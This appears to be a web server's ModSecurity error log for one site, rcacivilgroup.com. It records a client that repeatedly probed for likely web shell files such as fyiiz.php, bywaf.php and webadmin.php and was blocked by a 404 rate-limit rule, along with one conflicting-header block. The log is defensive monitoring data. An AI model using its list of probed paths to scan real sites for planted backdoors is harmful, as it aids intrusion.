[Mon Mar 23 18:18:12.648755 2026] [:error] [pid 57265:tid 57286] [client 119.96.24.54:55680] [client 119.96.24.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acETZGNLjPJJkhuqCsg40AAAARM"]
[Mon Mar 23 20:57:11.706544 2026] [:error] [pid 38306:tid 38326] [client 20.215.241.7:6512] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fyiiz.php"] [unique_id "acE4pzkL8qwu-hHc6BiOVAAAARI"]
[Mon Mar 23 20:57:12.265861 2026] [:error] [pid 38178:tid 38259] [client 20.215.241.7:43766] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fyiiz.php"] [unique_id "acE4qA0axWfXsVvR9uc7ewAAAJE"]
[Mon Mar 23 20:57:12.980413 2026] [:error] [pid 38276:tid 38303] [client 20.215.241.7:44746] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fyiiz.php"] [unique_id "acE4qJoKGiI-a7oME3LvBwAAANg"]
[Mon Mar 23 20:57:13.679598 2026] [:error] [pid 38177:tid 38228] [client 20.215.241.7:49854] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fyiiz.php"] [unique_id "acE4qXsYW-_HCI66MunsrwAAAE0"]
[Mon Mar 23 20:57:14.519794 2026] [:error] [pid 38178:tid 38259] [client 20.215.241.7:54611] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "acE4qg0axWfXsVvR9uc7iAAAAJE"]
[Mon Mar 23 20:57:15.273285 2026] [:error] [pid 38177:tid 38236] [client 20.215.241.7:6984] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "acE4q3sYW-_HCI66MunssgAAAFU"]
[Mon Mar 23 20:57:16.068158 2026] [:error] [pid 38276:tid 38279] [client 20.215.241.7:49810] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "acE4rJoKGiI-a7oME3LvDQAAAMA"]
[Mon Mar 23 20:57:17.833806 2026] [:error] [pid 38178:tid 38266] [client 20.215.241.7:43759] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "acE4rQ0axWfXsVvR9uc7kQAAAJg"]
[Mon Mar 23 20:57:18.463750 2026] [:error] [pid 38176:tid 38195] [client 20.215.241.7:6145] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bywaf.php"] [unique_id "acE4rktG4qlh1gvNjuIwQQAAAAg"]
[Mon Mar 23 20:57:19.101722 2026] [:error] [pid 38306:tid 38318] [client 20.215.241.7:6777] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bywaf.php"] [unique_id "acE4rzkL8qwu-hHc6BiOcAAAAQo"]
[Mon Mar 23 20:57:19.640990 2026] [:error] [pid 38178:tid 38260] [client 20.215.241.7:6187] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bywaf.php"] [unique_id "acE4rw0axWfXsVvR9uc7lQAAAJI"]
[Mon Mar 23 20:57:20.242528 2026] [:error] [pid 38306:tid 38321] [client 20.215.241.7:49809] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bywaf.php"] [unique_id "acE4sDkL8qwu-hHc6BiOewAAAQ0"]
[Mon Mar 23 20:57:20.797211 2026] [:error] [pid 38306:tid 38315] [client 20.215.241.7:43721] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acE4sDkL8qwu-hHc6BiOgAAAAQc"]
[Mon Mar 23 20:57:21.582933 2026] [:error] [pid 38306:tid 38321] [client 20.215.241.7:6159] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acE4sTkL8qwu-hHc6BiOiwAAAQ0"]
[Mon Mar 23 20:57:22.501879 2026] [:error] [pid 38176:tid 38206] [client 20.215.241.7:6201] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acE4sktG4qlh1gvNjuIwRAAAABM"]
[Mon Mar 23 20:57:23.099027 2026] [:error] [pid 38306:tid 38326] [client 20.215.241.7:49796] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acE4szkL8qwu-hHc6BiOkwAAARI"]
[Mon Mar 23 20:57:23.788693 2026] [:error] [pid 38176:tid 38194] [client 20.215.241.7:6767] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "acE4s0tG4qlh1gvNjuIwSAAAAAc"]
[Mon Mar 23 20:57:24.339776 2026] [:error] [pid 38306:tid 38321] [client 20.215.241.7:54652] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "acE4tDkL8qwu-hHc6BiOlQAAAQ0"]
[Mon Mar 23 20:57:24.881158 2026] [:error] [pid 38178:tid 38265] [client 20.215.241.7:44774] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "acE4tA0axWfXsVvR9uc7pAAAAJc"]
[Mon Mar 23 20:57:25.431670 2026] [:error] [pid 38178:tid 38255] [client 20.215.241.7:43772] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "acE4tQ0axWfXsVvR9uc7pgAAAI0"]
[Mon Mar 23 20:57:25.968031 2026] [:error] [pid 38177:tid 38238] [client 20.215.241.7:54609] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/erty.php"] [unique_id "acE4tXsYW-_HCI66MunsvgAAAFc"]
[Mon Mar 23 20:57:26.497626 2026] [:error] [pid 38178:tid 38257] [client 20.215.241.7:6151] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/erty.php"] [unique_id "acE4tg0axWfXsVvR9uc7qQAAAI8"]
[Mon Mar 23 20:57:27.096948 2026] [:error] [pid 38306:tid 38309] [client 20.215.241.7:43745] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/erty.php"] [unique_id "acE4tzkL8qwu-hHc6BiOngAAAQE"]
[Mon Mar 23 20:57:27.757716 2026] [:error] [pid 38306:tid 38328] [client 20.215.241.7:7115] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/erty.php"] [unique_id "acE4tzkL8qwu-hHc6BiOpgAAARQ"]
[Mon Mar 23 20:57:28.768586 2026] [:error] [pid 38276:tid 38303] [client 20.215.241.7:6176] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "acE4uJoKGiI-a7oME3LvEgAAANg"]
[Mon Mar 23 20:57:29.353502 2026] [:error] [pid 38306:tid 38328] [client 20.215.241.7:7118] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "acE4uTkL8qwu-hHc6BiOrwAAARQ"]
[Mon Mar 23 20:57:29.869414 2026] [:error] [pid 38276:tid 38290] [client 20.215.241.7:49846] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "acE4uZoKGiI-a7oME3LvFQAAAMs"]
[Mon Mar 23 20:57:30.395001 2026] [:error] [pid 38178:tid 38251] [client 20.215.241.7:6498] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "acE4ug0axWfXsVvR9uc7rwAAAIk"]
[Mon Mar 23 20:57:30.908097 2026] [:error] [pid 38306:tid 38316] [client 20.215.241.7:54607] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "acE4ujkL8qwu-hHc6BiOuwAAAQg"]
[Mon Mar 23 20:57:31.469176 2026] [:error] [pid 38276:tid 38279] [client 20.215.241.7:44745] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "acE4u5oKGiI-a7oME3LvGQAAAMA"]
[Mon Mar 23 20:57:32.107993 2026] [:error] [pid 38306:tid 38322] [client 20.215.241.7:43715] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "acE4vDkL8qwu-hHc6BiOxgAAAQ4"]
[Mon Mar 23 20:57:32.656580 2026] [:error] [pid 38178:tid 38258] [client 20.215.241.7:6754] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "acE4vA0axWfXsVvR9uc7sAAAAJA"]
[Mon Mar 23 20:57:33.235952 2026] [:error] [pid 38276:tid 38292] [client 20.215.241.7:7158] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "acE4vZoKGiI-a7oME3LvHgAAAM0"]
[Mon Mar 23 20:57:33.784513 2026] [:error] [pid 38276:tid 38295] [client 20.215.241.7:6153] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "acE4vZoKGiI-a7oME3LvIgAAANA"]
[Mon Mar 23 20:57:34.446292 2026] [:error] [pid 38178:tid 38245] [client 20.215.241.7:6761] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "acE4vg0axWfXsVvR9uc7uAAAAIM"]
[Mon Mar 23 20:57:35.121929 2026] [:error] [pid 38177:tid 38224] [client 20.215.241.7:49849] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "acE4v3sYW-_HCI66Muns1AAAAEk"]
[Mon Mar 23 20:57:35.701172 2026] [:error] [pid 38176:tid 38208] [client 20.215.241.7:7106] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "acE4v0tG4qlh1gvNjuIwVAAAABU"]
[Mon Mar 23 20:57:36.320157 2026] [:error] [pid 38276:tid 38299] [client 20.215.241.7:6770] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "acE4wJoKGiI-a7oME3LvKgAAANQ"]
[Mon Mar 23 20:57:36.960151 2026] [:error] [pid 38276:tid 38292] [client 20.215.241.7:7128] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "acE4wJoKGiI-a7oME3LvLAAAAM0"]
[Mon Mar 23 20:57:37.552185 2026] [:error] [pid 38176:tid 38210] [client 20.215.241.7:7142] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "acE4wUtG4qlh1gvNjuIwVwAAABc"]
[Mon Mar 23 20:57:38.180502 2026] [:error] [pid 38177:tid 38219] [client 20.215.241.7:43749] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "acE4wnsYW-_HCI66Muns2AAAAEQ"]
[Mon Mar 23 20:57:38.741857 2026] [:error] [pid 38176:tid 38192] [client 20.215.241.7:49833] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "acE4wktG4qlh1gvNjuIwWwAAAAU"]
[Mon Mar 23 20:57:39.344364 2026] [:error] [pid 38276:tid 38301] [client 20.215.241.7:44784] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "acE4w5oKGiI-a7oME3LvNQAAANY"]
[Mon Mar 23 20:57:39.929602 2026] [:error] [pid 38176:tid 38195] [client 20.215.241.7:43763] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "acE4w0tG4qlh1gvNjuIwXwAAAAg"]
[Mon Mar 23 20:57:40.604617 2026] [:error] [pid 38306:tid 38314] [client 20.215.241.7:6191] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwq13.php"] [unique_id "acE4xDkL8qwu-hHc6BiO1AAAAQY"]
[Mon Mar 23 20:57:41.266184 2026] [:error] [pid 38177:tid 38215] [client 20.215.241.7:54631] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwq13.php"] [unique_id "acE4xXsYW-_HCI66Muns2QAAAEA"]
[Mon Mar 23 20:57:42.122896 2026] [:error] [pid 38176:tid 38199] [client 20.215.241.7:49838] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwq13.php"] [unique_id "acE4xktG4qlh1gvNjuIwYgAAAAw"]
[Mon Mar 23 20:57:42.718808 2026] [:error] [pid 38306:tid 38327] [client 20.215.241.7:49803] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwq13.php"] [unique_id "acE4xjkL8qwu-hHc6BiO4AAAARM"]
[Mon Mar 23 20:57:43.273664 2026] [:error] [pid 38178:tid 38259] [client 20.215.241.7:6983] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aapig.php"] [unique_id "acE4xw0axWfXsVvR9uc7xQAAAJE"]
[Mon Mar 23 20:57:43.846044 2026] [:error] [pid 38177:tid 38234] [client 20.215.241.7:43764] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aapig.php"] [unique_id "acE4x3sYW-_HCI66Muns4wAAAFM"]
[Mon Mar 23 20:57:44.476621 2026] [:error] [pid 38177:tid 38235] [client 20.215.241.7:44762] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aapig.php"] [unique_id "acE4yHsYW-_HCI66Muns5gAAAFQ"]
[Mon Mar 23 20:57:45.061628 2026] [:error] [pid 38178:tid 38246] [client 20.215.241.7:7006] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aapig.php"] [unique_id "acE4yQ0axWfXsVvR9uc7ygAAAIQ"]
[Mon Mar 23 20:57:45.607059 2026] [:error] [pid 38177:tid 38226] [client 20.215.241.7:6196] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/webadmin.php"] [unique_id "acE4yXsYW-_HCI66Muns7AAAAEs"]
[Mon Mar 23 20:57:46.222767 2026] [:error] [pid 38177:tid 38231] [client 20.215.241.7:54635] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/webadmin.php"] [unique_id "acE4ynsYW-_HCI66Muns8AAAAFA"]
[Mon Mar 23 20:57:46.789451 2026] [:error] [pid 38306:tid 38319] [client 20.215.241.7:43724] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/webadmin.php"] [unique_id "acE4yjkL8qwu-hHc6BiO4wAAAQs"]
